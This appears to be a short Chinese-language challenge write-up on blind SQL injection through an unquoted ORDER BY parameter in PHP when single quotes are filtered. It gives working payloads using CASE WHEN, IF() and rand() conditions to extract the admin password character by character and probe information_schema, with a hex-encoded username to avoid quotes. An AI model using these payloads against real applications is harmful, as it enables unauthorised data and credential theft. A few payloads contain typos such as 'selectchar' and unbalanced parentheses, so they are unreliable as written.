题目:证明基于ORDER BY的SQL 注入,且单引号(’)被过滤。
已知:代码如下,有注入无悬念。
$sortColumn = mysqli_real_escape_string($_GET['sort_column']);
$query ="SELECT * from cr0_3 WHERE active = true ORDER BY $sortColumn DESC";
?>
推理:
1.可以测试通过手段判断cr0_3的字段数量。不知道怎么做,就不要往下看了。
2.这个地方sort_column允许你进行boolean判断。可以推理出:
(CASE WHEN (SELECT ASCII(SUBSTRING(password, 1, 1)) FROM users where username = 0x61646D696E) = 65 THEN date ELSE title END)这个可以进行判断猜测字符串。0x61646D696E值其实就是select hex('admin')。为了规避单引号。
3.还可以推理出以下判断语句:
if(true,id,price)
if(false,id,price)
(select case when (true) then id else price end)
if((selectchar(substring(table_name,1,1)) from information_schema.tables limit 1)<=128),id,price)
注意,以上id,price不要换成1,2之类的。没有效果的。不信自己试。那么要知道id,price不是比较麻烦?
好。牛逼的思路来了。
4.可以推理出:
rand(true)
rand(false)
rand((selectchar(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
得知:
该题目可以成功注入,过滤单引号,很多情况下是没什么用滴。
有些思路,真他妈的有意思。